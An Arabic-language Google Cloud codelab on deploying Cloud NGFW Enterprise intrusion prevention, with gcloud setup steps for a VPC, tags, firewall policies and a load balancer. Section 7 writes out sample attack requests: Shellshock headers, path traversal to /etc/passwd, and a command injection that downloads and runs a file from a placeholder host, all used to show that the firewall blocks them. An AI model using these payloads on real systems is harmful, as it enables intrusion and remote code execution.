Cloud NGFW Enterprise - خدمة منع التسلل (بدون فحص بروتوكول أمان طبقة النقل (TLS))

1. مقدمة

جدار الحماية لـ Cloud Next Generation Firewall (NGFW)

إنّ جدار الحماية من الجيل التالي هو خدمة جدار حماية موزَّعة بالكامل ومزوّدة بإمكانات الحماية المتقدّمة والتصنيف الدقيق والتغطية الواسعة النطاق لحماية أحمال العمل على Google Cloud من الهجمات الداخلية والخارجية.

توفّر Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزَّعة: توفّر Cloud NGFW فرض إجراءات تنفيذية مستنِدة إلى المضيف وموزّعة بالكامل على كل عبء عمل من أجل تفعيل بنية أمان انعدام الثقة.
  • سهولة الإعداد والنشر: تنفِّذ Cloud NGFW سياسات جدار الحماية الهرمي والشبكة التي يمكن إرفاقها بعقدة التسلسل الهرمي للموارد. توفِّر هذه السياسات تجربة متّسقة لجدار الحماية في التدرّج الهرمي لموارد Google Cloud.
  • التحكم الدقيق والتصنيف الدقيق: يوفر الجمع بين سياسات جدار الحماية وعلامات إدارة الهوية والوصول (IAM) التي تخضع للتحكم بشكل دقيق لحركة المرور بين الشمال-الجنوب والشرق-غرب، وصولاً إلى جهاز افتراضي واحد عبر شبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) والمؤسسات.

تتوفّر خدمة Cloud NGFW في المستويات التالية:

Cloud NGFW Enterprise

تضيف Cloud NGFW Enterprise خدمة منع التسلل (IPS)، وهي إحدى طبقات الطبقة 7، إلى التصميم الموزع لجدار الحماية في Google Cloud. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص الزيارات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS)، ولكنّه خارج نطاق هذا الدرس التطبيقي حول الترميز (يمكنك الاطّلاع على الدرس التطبيقي حول ترميز Cloud NGFW Enterprise باستخدام فحص بروتوكول أمان طبقة النقل (TLS)).

يمكنك الآن نشر عمليات فحص موثوقة لجدار الحماية من الطبقة 7 من الجيل التالي (NGFW) باستخدام عناصر تحكم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.

لتفعيل التحكم في جدار الحماية من الطبقة 7 ونشره باستخدام نظام منع التسلل IPS، يجب إجراء المهام التالية:

  • أنشئ مجموعة من نقاط نهاية جدار الحماية للمنطقة التي تديرها Google Cloud.
  • يمكنك، إن أردت، إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS) (غير مشمول في هذا الدرس التطبيقي حول الترميز).
  • يمكنك إنشاء إعداد ثقة (Trust Config) اختياريًا (غير مذكور في هذا الدرس التطبيقي حول الترميز).
  • يمكنك ربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج إلى خدمة Cloud NGFW Enterprise فيها.
  • يمكنك إجراء تغييرات بسيطة على سياسات جدار الحماية الحالية وقواعد جدار الحماية لتحديد الملفات الشخصية لمنع التهديدات في مسارات حركة البيانات المختلفة.

سياسات جدار الحماية للشبكة

تعمل سياسة جدار الحماية للشبكة كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار الحماية للشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن لكل شبكة VPC أن تكون لها سياسة جدار حماية واحدة مرتبطة بها. تتوافق سياسات جدار الحماية للشبكة مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول (أو العلامات فقط) في قواعد جدار الحماية، والتي تحل محل علامات الشبكة الحالية ويمكن استخدامها لتوفير الهوية لأعباء العمل.

تؤدي مشاركة سياسة جدار الحماية للشبكة عبر الشبكات والتكامل مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول إلى تبسيط عملية تهيئة جدران الحماية وإدارتها إلى حد كبير.

مع طرح سياسة جدار الحماية للشبكة، أصبحت سياسات جدار الحماية في Google Cloud تتكوّن الآن من العناصر التالية:

  1. سياسة جدار الحماية الهرمي
  2. قواعد جدار الحماية لبرنامج VC
  3. سياسة جدار حماية الشبكة ( عالمية وإقليمية)

تتوفّر سياسات جدار الحماية الهرمي في عُقد المؤسسة والمجلدات ضمن التسلسل الهرمي للموارد، في حين يتم تطبيق قواعد جدار الحماية لـ VPC وسياسات جدار الحماية للشبكة على مستوى سحابة VPC. يتمثل الاختلاف الكبير بين قواعد جدار الحماية سحابة VPC وسياسات جدار الحماية للشبكة في أنه لا يمكن تطبيق قواعد جدار الحماية VPC إلا على شبكة VPC واحدة، في حين يمكن ربط سياسات جدار الحماية للشبكة بشبكة VPC واحدة أو مجموعة واحدة من VPC، إلى جانب مزايا أخرى مثل التعديلات المجمّعة.

أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:

  • قاعدة خروج تم السماح بإجراءها، وتكون الوجهة 0.0.0.0/0
  • قاعدة دخول يتم الرفض من خلالها، حيث يكون المصدر 0.0.0.0/0

يتم عرض تسلسل إجراء التنفيذ تلقائيًا في المخطّط البياني التالي:

21b3bcabc469ffe.png

يُرجى ملاحظة أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار الحماية للشبكة العامة. يمكن للعملاء تحديد أمر التنفيذ في أي وقت باستخدام أمر gcloud.

علامات مُدارة لإدارة الهوية وإمكانية الوصول

العلامات المُدمَجة في قواعد سياسة جدار الحماية للشبكة الجديدة هي موارد زوجية من المفتاح/القيمة تم تحديدها في المؤسسة أو على مستوى المشروع في التدرّج الهرمي لموارد Google Cloud. تحتوي مثل هذه العلامة على عنصر تحكم وصول "إدارة الهوية وإمكانية الوصول" (IAM)، كما يوحي الاسم، يحدد الشخص الذي يمكنه اتخاذ الإجراءات على العلامة. وعلى سبيل المثال، تتيح أذونات "إدارة الهوية وإمكانية الوصول" (IAM) للمسؤول تحديد المبادئ الرئيسية التي يمكنها تخصيص قيم للعلامات والسمات الرئيسية التي يمكنها إرفاق العلامات بالموارد. بعد تطبيق علامة على مورد، يمكن لقواعد جدار الحماية للشبكة استخدامها للسماح بالزيارات ورفضها.

تلتزم العلامات بنموذج موارد الاكتساب في Google Cloud، ما يعني أنّه يتم تمرير العلامات وقيمها عبر التسلسل الهرمي من العناصر الرئيسية. ونتيجةً لذلك، قد يتم إنشاء العلامات في مكان واحد، ثم استخدامها من قِبل مجلدات ومشاريع أخرى خلال التسلسل الهرمي للموارد. يمكنك الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات والقيود المفروضة على إمكانية الوصول إليها.

يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي السلاسل التي يمكن إضافتها إلى مثيلات Compute Engine؛ ترتبط بالمثيل وتختفي عند إيقاف المثيل. قد تتضمّن قواعد جدار الحماية من سحابة VPC علامات شبكة، ولكن لا يتم اعتبارها موارد السحابة الإلكترونية، وبالتالي لا تخضع للتحكم في الوصول إلى "إدارة الهوية وإمكانية الوصول".

يُرجى العلم أنّ العلامات والعلامات المُدارة لإدارة الهوية وإمكانية الوصول تُستخدَم بالتبادل في هذا المستند.

ما الذي ستنشئه

يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وإمكانية إنشاء شبكة VPC مع إمكانية الاتصال العام، وسيوضّح كيف يمكن لخدمة Cloud NGFW Enterprise توفير وظائف بروتوكول منع التسلل IPS من خلال ما يلي:

  • فحص تدفقات الشبكة الداخلية أو الشبكة الفرعية [شرق-غرب]
  • فحص تدفقات الدخول من الإنترنت [الشمال-الجنوب]

سيتم اختيار التدفقات المراد فحصها باستخدام مَعلمات مطابقة جدار الحماية في Cloud، بما في ذلك الصفوف الخمسة (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول ومنفذ المصدر ومنفذ الوجهة) والعلامات. لا يتم تضمين فحص بروتوكول أمان طبقة النقل (TLS) في هذا الدرس التطبيقي حول الترميز.

52a0642ef8668ecf.png

ستكون قاعدة قاعدة سياسة جدار الحماية للشبكة مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

100

حركة بيانات صادرة

Quarantine_Tag

أي لون

أي لون

رفض

الوظائف الأساسية

1000

حركة بيانات واردة

Server_Tag

نطاقات التحقق من الصحة

أي لون

السماح

الوظائف الأساسية

2000

حركة بيانات واردة

أي لون

نطاقات الخادم الوكيل لإدراك الهوية

أي لون

السماح

الوظائف الأساسية

3000

حركة بيانات واردة

أي لون

الموقع الجغرافي، GCTI

أي لون

رفض

الإذن بالوصول العادي

4000

حركة بيانات صادرة

أي لون

أي لون

الموقع الجغرافي، GCTI

رفض

الإذن بالوصول العادي

5000

حركة بيانات صادرة

أي لون

أي لون

FQDN (اسم المجال المؤهل بالكامل) لتحديث النظام

السماح

الإذن بالوصول العادي

6000

حركة بيانات واردة

Server_Tag

10.0.0.0/24

أي لون

IPS

Enterprise

7000

حركة بيانات واردة

Server_Tag

CloudNAT_IP

أي لون

IPS

Enterprise

المعلومات التي ستطّلع عليها

المتطلبات

  • مشروع Google Cloud
  • معرفة نشر المثيلات وتهيئة مكونات الشبكة
  • معرفة إعدادات جدار الحماية سحابة VPC

2. قبل البدء

إنشاء/تعديل المتغيّرات

يستخدم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ إعدادات gcloud في Cloud Shell.

في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات داخل الأقواس حسب الحاجة (تخطَّ إعداد المشروع إذا سبق أن تم ضبط الطلب المطلوب). يتم استخدام متغير مختلف للموارد على مستوى المؤسسة في حال كانت عدّة عوامل، مثل نقاط نهاية جدار الحماية مطلوبة.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3- تفعيل واجهات برمجة التطبيقات

قم بتمكين واجهات برمجة التطبيقات إذا لم تقم بذلك:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. ملف الأمان في Cloud NGFW Enterprise وإنشاء نقاط النهاية

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بالتوازي أثناء إنشاء نقطة النهاية.

إنشاء الملف الشخصي للأمان ومجموعة الملفات الشخصية للأمان:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

المخرجات المتوقعة:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

تأكَّد من إنشاء الموارد بنجاح:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

المخرجات المتوقعة:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

إنشاء نقطة نهاية Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

شغِّل الأمر أدناه للتأكّد من أنّه يتم إنشاء نقطة النهاية (الحالة: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

المخرجات المتوقعة:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

تستغرق عملية إنشاء نقطة النهاية حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بشكل متوازٍ.

5- إعداد القاعدة

يُرجى المتابعة إلى الأقسام التالية إذا كنت تفضِّل إنشاء الموارد الأساسية يدويًا.

شبكة VC والشبكة الفرعية

شبكة VC والشبكة الفرعية

أنشئ شبكة VPC والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

إنشاء أجهزة توجيه السحابة الإلكترونية وبوابات ترجمة عنوان الشبكة السحابية:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

التجارب

إنشاء مثيل العميل وخادم الويب:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

علامات على مستوى الهدف

خصِّص أذونات TagAdmin و/أو tagUser للمستخدم إذا لزم الأمر:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

أنشئ مفتاح وقيم العلامة على مستوى المشروع:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

ربط العلامات بالمثيلات:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

السياسة العالمية لجدار الحماية للشبكة

إنشاء سياسة عامة لجدار الحماية للشبكة:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

أنشِئ قواعد Cloud Firewall Essential لرفض الزيارات من المثيلات المعزولة (تم إنشاؤها كمثال فقط، ولا يتم استخدامها في هذا الدرس التطبيقي حول الترميز) والسماح بالزيارات من نطاقات التحقّق من الصحة والخادم الوكيل المستند إلى الهوية:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

إنشاء قواعد Cloud Firewall Standard لرفض الزيارات الواردة والخروج من البلدان المحظورة، وعناوين IP الضارة المعروفة، وعُقد الخروج من بنود الخدمة. والسماح فقط بحركة البيانات الصادرة إلى أسماء FQDN محددة في تحديثات النظام (تم إنشاؤها كمثال فقط، ولا يتم استخدامها في هذا الدرس التطبيقي حول الترميز):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

يمكنك إنشاء قواعد جدار الحماية للسحابة الإلكترونية للسماح بدخول حركة بيانات الشبكة الفرعية ومن الشمال إلى الجنوب أو الإنترنت من النطاقات المحددة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

اربط سياسة جدار الحماية للشبكة بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

جهاز موازنة حمل شبكة TCP/UDP الخارجي

احتفِظ بعنوان IP خارجي وأنشِئ مجموعة المثيل وتحقَّق من الصحة:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

إنشاء خدمة الخلفية وقاعدة إعادة التوجيه:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6- رابطة نقاط النهاية في Cloud NGFW Enterprise

أعد تحديد متغيرات البيئة إذا لزم الأمر.

تأكَّد من اكتمال إنشاء نقطة نهاية جدار الحماية على السحابة الإلكترونية بنجاح. المتابعة فقط بعد أن تظهر الحالة على أنّها نشط (تكون الحالة المتوقّعة أثناء عملية الإنشاء هي إنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

المخرجات المتوقعة:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

ربط نقطة نهاية Cloud NGFW Enterprise بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

وتستغرق عملية الربط 10 دقائق تقريبًا. يجب المتابعة فقط بعد أن تصبح الحالة نشطًا (الحالة المتوقّعة هي إنشاء أثناء عملية الإنشاء):

gcloud network-security firewall-endpoint-associations list

المخرجات المتوقعة:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

المخرجات المتوقعة:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. قواعد فحص Cloud NGFW Enterprise

افتح علامة تبويب جديدة وابدأ اتصال بروتوكول النقل الآمن بالجهاز الافتراضي للعميل من خلال الشراء داخل التطبيق (ستحتاج إلى تحديد المتغيّرات مرة أخرى في علامة التبويب الجديدة):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

حدد المتغيرات المطلوبة في جلسة SSH وعيِّن المتغيرات (تأكد من صحة القيم):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

تجعّد عنوانَي IP للتأكُّد من إمكانية الوصول إليهما:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

النتيجة المتوقعة لكل من طلبَي curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

يمكنك إرسال نماذج الهجمات إلى عنوان IP للخادم الداخلي (الزيارات الواردة من الشرق-الغرب / حركة البيانات داخل VC). يجب أن يستجيب خادم الويب لجميع الطلبات، مع التأكد من عدم وجود فحص أو منع من المستوى 7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

يمكنك إعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الخارجي من خلال Cloud NAT (حركة المرور الواردة من الشمال إلى الجنوب)، وكذلك يجب أن يستجيب خادم الويب لجميع الطلبات:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

النتائج المتوقعة لكل من عناوين IP العامة والخاصة:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

يُرجى العودة إلى Cloud Shell وتعديل قواعد الدخول الحالية لتفعيل فحص L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

بشكل اختياري، يمكنك وصف قواعد جدار الحماية للتحقق من تحديث كلتيهما بنجاح:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

المخرجات المتوقعة:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

القاعدة 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

المخرجات المتوقعة:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

عليك التبديل مرة أخرى إلى الجهاز الافتراضي (VM) الخاص بالعميل وإعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الداخلي (فحص "الغرب-الغربي" أو "داخل VC"):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

إعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الخارجي من خلال Cloud NAT (فحص الوارد من الشمال إلى الجنوب):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

لا يتم تلقّي أي ردود على الهجمات الأولى وفقًا للنتائج المتوقّعة أدناه، ما يؤكّد أنّه يتم حاليًا حظر الهجمات العالية الخطورة.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
